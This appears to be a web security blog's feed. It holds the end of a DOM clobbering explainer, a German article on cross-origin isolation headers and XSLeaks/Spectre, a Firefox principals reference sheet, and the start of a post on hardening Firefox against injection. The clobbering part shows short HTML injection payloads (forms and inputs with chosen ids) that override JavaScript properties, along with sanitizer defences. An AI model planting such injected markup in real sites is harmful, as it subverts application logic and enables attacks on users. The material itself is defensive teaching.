&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;startAnimations&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;an injected HTML form element will be able to make this truthy, regardless of whether the page is really hidden:&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;&amp;lt;form id=hidden&amp;gt;&lt;/code&gt; the value &lt;code&gt;document.hidden&lt;/code&gt; would return a &lt;code&gt;HTMLFormElement&lt;/code&gt; and therefore be considered truthy.&lt;/p&gt;
&lt;p&gt;So, in essence, DOM Clobbering is an attack where injected HTML may confuse the existing JavaScript application and therefore change the application logic.&lt;/p&gt;
&lt;p&gt;Another typical example of this vulnerability is where code is trying to fall back to a default config if some variable is set, like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;defaultConfig&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* some config here */&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If the &lt;code&gt;defaultConfig&lt;/code&gt; name is clobbered, that other config is never going to be assigned correctly!&lt;/p&gt;
&lt;p&gt;Let's look at a third, more complicated example: In this case, an attacker has injected two input elements with a &lt;code&gt;id&lt;/code&gt; attribute of &lt;code&gt;childNodes&lt;/code&gt; into an existing form &lt;code&gt;f&lt;/code&gt; like here:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;f&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;childNodes&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;foo
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;childNodes&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;bar
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;text&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;hidden-from-js&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;These injected input elements will overwrite the &lt;code&gt;form&lt;/code&gt; element's property and all following JavaScript code will &lt;strong&gt;not&lt;/strong&gt; be able to iterate over &lt;code&gt;f.childNodes&lt;/code&gt;!&lt;/p&gt;
&lt;p&gt;Compare the clobbered property with the actual children in this screenshot below:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot comparing devtools results for childNodes versus children property" src="/images/dom_clobbering.png"&gt;&lt;/p&gt;
&lt;p&gt;Do you see the difference in length?&lt;/p&gt;
&lt;p&gt;An attack vector like this one could be used to fool or confuse the website's JavaScript code when iterating over attacker-controlled DOM trees.&lt;/p&gt;
&lt;p&gt;Just imagine what else could be overridden!&lt;/p&gt;
&lt;p&gt;How would your web page behave if seemingly innocent function calls like &lt;code&gt;document.getElementById()&lt;/code&gt; can fail with "Uncaught TypeError: &lt;code&gt;document.getElementById&lt;/code&gt; is not a function" because the API has also been clobbered&lt;/p&gt;
&lt;h3&gt;Prevention&lt;/h3&gt;
&lt;p&gt;The best way to prevent DOM Clobbering is to use a strong &lt;a href="https://en.wikipedia.org/wiki/HTML_sanitization"&gt;Sanitizer&lt;/a&gt; library. A sanitizer typically goes through user-supplied HTML and only leaves the harmless bits - removing scripts, event handlers and other injections - like DOM Clobbering.&lt;/p&gt;
&lt;p&gt;The author of this article recommends &lt;a href="https://github.com/cure53/DOMPurify/"&gt;DOMPurify&lt;/a&gt;. By default, DOMPurify will remove all clobbering properties. Using the option &lt;code&gt;SANITIZE_NAMED_PROPS: true&lt;/code&gt; will instead prefix user-supplied identifiers with &lt;code&gt;user-content-&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;However, if you want to live on the edge you might also want to look at the upcoming &lt;a href="https://wicg.github.io/sanitizer-api/"&gt;Sanitizer API&lt;/a&gt;. The specification for the Sanitizer API is still in development, but Chrome and Firefox are already shipping a prototype and the &lt;a href="https://sanitizer-api.dev/"&gt;Sanitizer API Playground&lt;/a&gt; has instructions on how to enable it.&lt;/p&gt;
&lt;p&gt;In order to fix DOM Clobbering with the Sanitizer API, you need to configure the Sanitizer to disallow attributes of type &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mySanitizer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Sanitizer&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;blockAttributes&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;elements&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;*&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;elements&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;*&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nx"&gt;someElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setHTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;sanitizer&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mySanitizer&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Good luck!&lt;/p&gt;</content><category term="misc"></category><category term="websecguide"></category></entry><entry><title>Neue Methoden für Cross-Origin Isolation: Resource, Opener &amp; Embedding Policies mit COOP, COEP, CORP und CORB</title><link href="https://frederik-braun.com/neue_methoden_cross_origin_isolation.html" rel="alternate"></link><published>2022-11-10T00:00:00+01:00</published><updated>2022-11-10T00:00:00+01:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2022-11-10:/neue_methoden_cross_origin_isolation.html</id><summary type="html">&lt;p&gt;&lt;em&gt;This document sat in my archives.
I originally created this so I have notes for my
participation in the Working Draft podcast - a German podcast
for web developers. That's why this article is in German as well.
The &lt;a href="https://workingdraft.de/452/"&gt;podcast episode 452&lt;/a&gt; was published in 2020,
but I never published this …&lt;/em&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;This document sat in my archives.
I originally created this so I have notes for my
participation in the Working Draft podcast - a German podcast
for web developers. That's why this article is in German as well.
The &lt;a href="https://workingdraft.de/452/"&gt;podcast episode 452&lt;/a&gt; was published in 2020,
but I never published this document.
In the interest of breathing some live into this blog, here it is. Have fun!&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Hintergrund: CORS &amp;amp; Same-Origin Policy&lt;/h2&gt;
&lt;p&gt;Die erste und wichtigste Grundregel in Sachen Web- &amp;amp; Browser-Sicherheit
ist die Same-Origin Policy. Sie bestimmt, dass alle Webseiten im
gleichen &lt;em&gt;Origin&lt;/em&gt; auch mit den gleichen Rechten ausgestattet sind. Ein
Origin ist das Tripel von "Scheme, Host, Port".&lt;/p&gt;
&lt;p&gt;Das bedeutet insbesondere, dass JavaScript keinen Zugriff auf Inhalte
aus anderen Origins erhält.&lt;/p&gt;
&lt;p&gt;Wenn man also ein Bild, iframe oder Popup von einem anderen Origin lädt,
dann kann man es zwar &lt;strong&gt;darstellen&lt;/strong&gt; lassen, aber eben &lt;strong&gt;nicht per
JavaScript auslesen.&lt;/strong&gt; Egal ob via canvas, &lt;code&gt;iframe.contentDocument&lt;/code&gt;,
&lt;code&gt;popup.contentDocument&lt;/code&gt; usw.&lt;/p&gt;
&lt;p&gt;Wichtig ist noch zu erwähnen, dass hier etwas namens "ambient authority"
greift: Wenn ein iframe von, sagen wir mal twitter.com (z.B. ein
Tweet-Knopf) angezeigt wird, schickt der Browser die Cookies für
twitter.com mit, so dass Twitter die Antwort auf den aktuellen Account
des aktuellen Benutzers anpassen kann.&lt;/p&gt;
&lt;p&gt;Eine Ausnahme bietet hier CORS, das Cross-Origin Resource Sharing. Eine
Seite kann explizit erlauben, von anderen Origins gelesen zu werden,
wenn sie in dem Response Header eine entsprechende Erlaubnis per CORS.
Der häufigste header im Response lautet&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Access-Control-Allow-Origin: *&lt;/code&gt;, damit sind alle Webseiten erlaubt, die
Datei zu laden UND auszulesen.&lt;/p&gt;
&lt;p&gt;Wenn man möchte, kann man hier noch zwischen anonymen und credentialed
requests unterscheiden:&lt;/p&gt;
&lt;p&gt;Mit dem &lt;code&gt;*&lt;/code&gt; im ACAO-Header wird jedem das Lesen erlaubt. Das besondere am
&lt;code&gt;*&lt;/code&gt; ist, dass implizit nur anonyme Requests erlaubt werden.&lt;/p&gt;
&lt;h2&gt;Probleme die Same-Origin Policy und CORS nicht lösen&lt;/h2&gt;
&lt;p&gt;Die Same-Origin Policy ist eine mächtige, allgegenwärtige Maßnahme,
lässt jedoch einige Probleme ungelöst.&lt;/p&gt;
&lt;h3&gt;XSLeaks&lt;/h3&gt;
&lt;p&gt;Der Angriff des sogenannten Cross-Site Leaks besteht schon seit gut 10
Jahren, ist aber kürzlich erneut in den Fokus gerückt. Ein
xsleak-Angriff macht sich bestimmtes Browserverhalten (zum Beispiel)
Timing zu nutze um Informationen über eine cross-origin Webseite zu
erhalten. Ein ganz einfaches Beispiel ist eine Seite, die &lt;em&gt;nur nach dem
Login&lt;/em&gt; einen &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; anzeigt. Wenn ein Angreifer nun diese Seite
selbst in ein &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; öffnet, kann der Angreifer über
iframeEl.contentWindow.length herausfinden, ob die Seite weitere frames
beinhält und somit deduzieren ob der Benutzer eingeloggt ist.&lt;/p&gt;
&lt;p&gt;Natürlich wissen wir alle, dass es eine schlechte Idee ist, dem
Angreifer zu erlauben unsere Seite in einem &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; zu öffnen,
deswegen gibt es ja die CSP frame-ancestors direktive &amp;amp; X-Frame-Options.&lt;/p&gt;
&lt;p&gt;Derselbe Angriff funktioniert nur leider ebenfalls mit einem Popup bzw
der Referenz, die aus window.open fällt. Ferner lässt sich eben diese
Schwachstelle nicht aufheben, da Browser hier die
Rückwärtskompatibilität für existierende Webseiten wahren müssen.&lt;/p&gt;
&lt;p&gt;Unter dem Begriff XSLeaks gibt es allerdings noch viele weitere
Techniken:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;history.length lässt sich benutzen um redirects zu erkennen
    (nützlich für Login detection in login_and_then-Patterns in
    Webseiten)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Bilder, Videos, Audio erlauben das ausmessen von metadaten
    (A/V-Länge, Bilddimensionen)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Request timing (wie lange dauert ein fetch())&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Leak of HTTP request done by exhausting the Network pool&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Spectre&lt;/h3&gt;
&lt;p&gt;Anfang 2018 veröffentlichte eine Gruppe von Sicherheitsforschern die
Sicherheitslücken Spectre &amp;amp; Meltdown. Diese Schwachstellen betreffen die
gängigsten CPUs von u.a. AMD, Intel. Durch cleveres Ausnutzen einer
Optimierung (speculative branching), die so vom Angreifer kontrolliert
wird, dass sie nicht greift und eine "branch misprediction" rückgängig
gemacht werden soll, ist es dem Angreifer möglich den gesamten Speicher
innerhalb des selben laufenden Prozesses auszulesen. Ferner hat ein Team
von Microsoft Vulnerability Research gezeigt, dass sich diese Lücke via
JavaScript ausnutzen lässt.&lt;/p&gt;
&lt;p&gt;Spectre ist insbesondere für Browser ein Problem, da sich mehrere
Origins normalerweise einen Prozess teilen.&lt;/p&gt;
&lt;p&gt;Diese Angriffe benötigen meist APIs für Shared Memory, wie
SharedArrayBuffer. Daher haben sich die Browser darauf geeinigt
SharedArrayBuffer vorübergehend abzuschalten.&lt;/p&gt;
&lt;h3&gt;Zusammenfassend: Sicherheitslücken vermeiden, Zugriff zu SharedArrayBuffer wieder erlangen:&lt;/h3&gt;
&lt;p&gt;Es gibt sinnige Bestrebungen, sich weiter von anderen Webseiten
fernzuhalten, als nur durch die Same-Origin Policy forciert.&lt;/p&gt;
&lt;p&gt;Informationen zu Fenstern aus anderen Origins können nicht vollständig
aus dem jeweiligen Prozess rausgehalten werden, zum Beispiel durch &lt;code&gt;&amp;lt;img
src&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Im Zuge dessen, sind Browser dazu übergegangen jedem Origin seinem
eigenen Prozess zuzuweisen. Das nennen wir Site-Isolation bzw. bei
Firefox "Project Fission".&lt;/p&gt;
&lt;p&gt;Normalerweise würde der Browser ungefähr jedem Tab einen eigenen Prozess
zuweisen. Mit "Site Isolation" benötigen wir für jeden iframe einen
weiteren Prozess. Für eine News-Webseite wie cnn.com werden statt einem
Prozess nun auf einmal etwa 14 Prozesse benötigt.&lt;/p&gt;
&lt;h1&gt;Neue Methoden für Cross-Origin Isolation&lt;/h1&gt;
&lt;p&gt;Aufgrund der neuen Angriffe und der neuen Browser-Architektur, ziehen es
bestimmte Webseiten nun vor sich und ihr Origin komplett zu isolieren.
Wenn man als Webseite in seinem komplett eigenen Tab ist - ohne
Ausnahme, dann wäre auch ein Spectre-Angriff nicht mehr problematisch.
Alles was ausgelesen werden kann, ist ohnehin eigene Information. Um das
zu ermöglichen, wurden ein paar neue Sicherheitsmechanismen in Form
eines HTTP Response Headers eingeführt. Eine Kombination derer erlaubt
es, als "crossOriginIsolated" zu gelten und somit wieder Zugriff auf
SharedArrayBuffer zu erhalten.&lt;/p&gt;
&lt;p&gt;Hier nun ein kurzer Überblick über die neuen Cross-Origin primitiven:&lt;/p&gt;
&lt;h2&gt;Cross-Origin-Opener-Policy (COOP)&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Cross-Origin-Opener-Policy: unsafe-none | same-origin-allow-popups | same-origin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Unter Zuhilfenahme von Cross-Origin-Opener-Policy, kann eine Seite
explizit sagen, dass es keine window-handles (opener, popup) für Fenster
aus anderen Origins geben darf:&lt;/p&gt;
&lt;p&gt;Hierfür senden wir &lt;code&gt;Cross-Origin-Opener-Policy: same-origin&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Cross-Origin-Embedder-Policy (COEP)&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Cross-Origin-Embedder-Policy: unsafe-none | require-corp | credentialless&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Wenn man COOP einsetzt besteht immer noch die Möglichkeit, dass man
selbst noch irgendwelche Cross-Origin Resourcen nachlädt (versehentlich,
redirects, usw.). Mit &lt;code&gt;Cross-Origin-Embedder-Policy: require-corp&lt;/code&gt;
kann man sicher stellen, dass das Dokument nur Ressourcen in den Prozess
lädt, die von dem eigenen Origin sind oder es explizit erlaubt (durch
CORP. siehe unten) .&lt;/p&gt;
&lt;p&gt;Wenn der Wert &lt;code&gt;credentialless&lt;/code&gt; gesetzt ist, werden cross-origin Inhalte
ohne Cookies (credentials) angefordert. Das erlaubt Interaktionen mit
Webseiten, die nicht explizit "CORP" benutzen.&lt;/p&gt;
&lt;h2&gt;COOP + COEP = &lt;code&gt;crossOriginIsolated&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Nur wenn man COOP+COEP einsetzt, erhält eine Website das Attribut
&lt;code&gt;window.crossOriginIsolated&lt;/code&gt; als true. Nur, wenn man sich mit seinen
eigenen (plus eventuell öffentlichen) Daten in einem eigenen Prozess
abschottet, erhält man Zugriff auf &lt;code&gt;SharedArrayBuffer&lt;/code&gt; und einen besonders
genauen Timer in der Performance API.&lt;/p&gt;
&lt;h2&gt;CORP&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Cross-Origin-Resource-Policy: same-site | same-origin | cross-origin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Mit CORP kann man, in etwa analog zu CORS, eine Ressource freischalten
und für den Gebrauch als öffentlich jenseits der Prozessgrenzen hinweg
deklarieren&lt;/p&gt;
&lt;h2&gt;CORB bzw. ORB&lt;/h2&gt;
&lt;p&gt;Im Gegensatz zu den letzt genannten Methoden sind CORB, ORB &lt;strong&gt;kein&lt;/strong&gt;
HTTP Header, sondern eine Festlegung, wie ein Browser gewisse Ressourcen
zu laden hat:. Die Idee basiert darauf, dass cross-origin Resourcen mit
"zweifelhaften Content-Typen" so blockiert werden, dass sie für den
Webprozess als "Network Error" dargestellt werden. Weitestgehend, geht
es darum Inhalte bereits an der Prozessgrenze zu blockieren, wenn nicht
eindeutig klar ist, dass sie für den Gebrauch wirklich erlaubt sind.
Typische Beispiele sind Inhalte mit Content-Type &lt;code&gt;text/plain&lt;/code&gt;, welches
dann über &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; geladen werden könnten und trotz Syntaxfehler im
Prozessspeicher landen. Dies wird künftig nicht mehr möglich sein.&lt;/p&gt;
&lt;h2&gt;Ausblick&lt;/h2&gt;
&lt;p&gt;Da die Themen xsleaks und auch Spectre noch relativ jung sind, ist zu
erwarten dass es weitere Mechanismen, Einschränkungen oder neue Werte
für die hier vorgestellten Response Header entwickelt werden. Bereits
jetzt werden Mechanismen wie
"&lt;a href="https://github.com/hemeryar/explainers/blob/main/coop_restrict_properties.md"&gt;restrict-properties&lt;/a&gt;"
für Cross-Origin-Opener Policy vorgeschlagen, was die Isolation
beibehalten soll aber OAuth-Flows über pop ups ermöglichen könnte.&lt;/p&gt;
&lt;p&gt;Es wird sich zeigen, was hier ausreichend ist und bleibt.&lt;/p&gt;</content><category term="misc"></category><category term="websecguide"></category></entry><entry><title>Reference Sheet for Principals in Mozilla Code</title><link href="https://frederik-braun.com/principals-reference.md.html" rel="alternate"></link><published>2020-08-03T00:00:00+02:00</published><updated>2020-08-03T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2020-08-03:/principals-reference.md.html</id><summary type="html">&lt;p&gt;Note: This is the &lt;em&gt;reference sheet&lt;/em&gt; version.
The details and the big picture are covered in &lt;a href="https://frederik-braun.com/understanding-web-security-checks-in-firefox-part-1.html"&gt;Understanding Web Security Checks in Firefox (Part 1)&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Principals as a level of privilege&lt;/h1&gt;
&lt;p&gt;A security context is always using one of these four kinds of Principals:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ContentPrincipal&lt;/strong&gt;: This principal is used for typical …&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;p&gt;Note: This is the &lt;em&gt;reference sheet&lt;/em&gt; version.
The details and the big picture are covered in &lt;a href="https://frederik-braun.com/understanding-web-security-checks-in-firefox-part-1.html"&gt;Understanding Web Security Checks in Firefox (Part 1)&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Principals as a level of privilege&lt;/h1&gt;
&lt;p&gt;A security context is always using one of these four kinds of Principals:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ContentPrincipal&lt;/strong&gt;: This principal is used for typical web pages and can be serialized to an origin URL, e.g., https://example.com/.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;NullPrincipal&lt;/strong&gt;: Some pages are never same-origin with anything else. E.g., &lt;code&gt;&amp;lt;iframes sandbox&amp;gt;&lt;/code&gt; or documents loaded with a data: URI. The standard calls this an &lt;a href="https://html.spec.whatwg.org/multipage/origin.html#concept-origin-opaque"&gt;opaque origin&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SystemPrincipal&lt;/strong&gt;: The SystemPrincipal is used for the browser's user interface, commonly referred to as "browser chrome". Pages like &lt;code&gt;about:preferences&lt;/code&gt; use the SystemPrincipal.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ExpandedPrincipal&lt;/strong&gt;: A browser extension is more privileged than normal web pages, but must also be able to assume the security context of a website. Hence, an ExpandedPrincipal is best understood as a list of principals to match the security needs for Content Scripts in Firefox Extensions. The security checks on the ExpandedPrincipal are then implemented as a loop through this allowlist of principals.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Principals to be considered during security checks&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;loadingPrincipal&lt;/strong&gt;: The principal of the document where the result of the load will be used.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;triggeringPrincipal&lt;/strong&gt;: The security context that actually triggered the URL to load. In most cases the loadingPrincipal and the triggeringPrincipal are identical. But imagine a cross-origin CSS resource loading a background image. Here, the triggeringPrincipal is principal for the CSS file.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As an aside: There's also a &lt;strong&gt;&lt;a href="https://searchfox.org/mozilla-central/source/toolkit/components/antitracking/StoragePrincipalHelper.h#13"&gt;StoragePrincipal&lt;/a&gt;&lt;/strong&gt;: To adjust anti-tracking settings in Firefox, we can change the Principal that a document is using for storage (and related technologies) on the fly. This is achieved with a StoragePrincipal.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Hardening Firefox against Injection Attacks – The Technical Details</title><link href="https://frederik-braun.com/hardening-firefox-against-injection-attacks-the-technical-details.html" rel="alternate"></link><published>2020-07-07T00:00:00+02:00</published><updated>2020-07-07T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2020-07-07:/hardening-firefox-against-injection-attacks-the-technical-details.html</id><summary type="html">&lt;p&gt;&lt;em&gt;This blog post has first appeared on the &lt;a href="https://blog.mozilla.org/attack-and-defense/2020/07/07/hardening-firefox-against-injection-attacks-the-technical-details/"&gt;Mozilla Attack &amp;amp; Defense blog&lt;/a&gt; and was co-authored with Christoph Kerschbaumer and Tom Ritter&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In a recent academic publication titled &lt;a href="https://research.mozilla.org/files/2020/05/hardening_firefox_against_injection_attacks.pdf"&gt;Hardening Firefox against
Injection
Attacks&lt;/a&gt;
(to appear at &lt;a href="https://secweb.work/"&gt;SecWeb – Designing Security for the
Web&lt;/a&gt;) we describe techniques which we have
incorporated into Firefox …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;This blog post has first appeared on the &lt;a href="https://blog.mozilla.org/attack-and-defense/2020/07/07/hardening-firefox-against-injection-attacks-the-technical-details/"&gt;Mozilla Attack &amp;amp; Defense blog&lt;/a&gt; and was co-authored with Christoph Kerschbaumer and Tom Ritter&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In a recent academic publication titled &lt;a href="https://research.mozilla.org/files/2020/05/hardening_firefox_against_injection_attacks.pdf"&gt;Hardening Firefox against
Injection
Attacks&lt;/a&gt;
(to appear at &lt;a href="https://secweb.work/"&gt;SecWeb – Designing Security for the
Web&lt;/a&gt;) we describe techniques which we have
incorporated into Firefox to provide defense in depth against code
injection attacks. Within this blogpost we are going to provide insights
into the described hardening techniques at a technical level with
pointers to the actual code implementing it. &lt;em&gt;Note that links to source
code are perma-linked to a recent revision as of this blog post. More
recent changes may have changed the location of the code in question.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Background on Privilege Separation in Firefox&lt;/h3&gt;
&lt;p&gt;The security architecture for separating web content and privileged
(chrome) content within Firefox builds upon (1) the security boundaries
provided by process separation and (2) the security boundaries provided
by context separation.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The privileged chrome process is able to perform any action the end
    user has access to. In contrast, the lesser privileged content
    process (used for loading web content) is sandboxed and restricted
    from almost all access to Operating System features or user
    privileges.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The security context of the User Interface and privileged chrome
    code within Firefox is represented by the System-Principal. In
    contrast, the security context of untrusted web content builds upon
    the security context represented by a Content-Principal. (Please
    find details on the different kinds of Principals within Firefox in
    our recent post: &lt;a href="https://blog.mozilla.org/attack-and-defense/2020/06/10/understanding-web-security-checks-in-firefox-part-1/"&gt;Understanding Web Security Checks in
    Firefox&lt;/a&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="images/chrome_vs_content-600x428.jpg" width="450" height="321" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;span id="caption-attachment-150"&gt;&lt;/span&gt;&lt;strong&gt;Firefox Security
Architecture&lt;/strong&gt; showing the separation of privileged chrome code and the
Tabs A, B, and C including DOM windows exhibiting unprivileged content
code.&lt;/p&gt;
&lt;p&gt;The two privilege distinctions – a privileged parent process and other
lesser privileged child processes; and the privileged System Principal
Context and the lesser privileged Content and Null Principal Contexts –
both describe mechanisms of privilege distinction within Firefox.
However, the actual mechanism by which privilege is separated is
generally unimportant in the context of privilege escalation attacks,
which our hardening prevents.&lt;/p&gt;
&lt;p&gt;While process-based separation is a fairly generic architecture,
Principal-based separation is specific to Gecko – the rendering engine
powering Firefox. Nonetheless, tricking system-principled code into
doing your bidding is just as alarming as a cross-process attack. It is
considered an injection attack and exposes a significant security
bypass.&lt;/p&gt;
&lt;h3&gt;Securing about: pages&lt;/h3&gt;
&lt;p&gt;Firefox ships with a variety of built-in pages, commonly referred to as
&lt;a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/The_about_protocol"&gt;about:
pages.&lt;/a&gt;
Such about: pages allow the user to view internal browser information or
change settings.&lt;/p&gt;
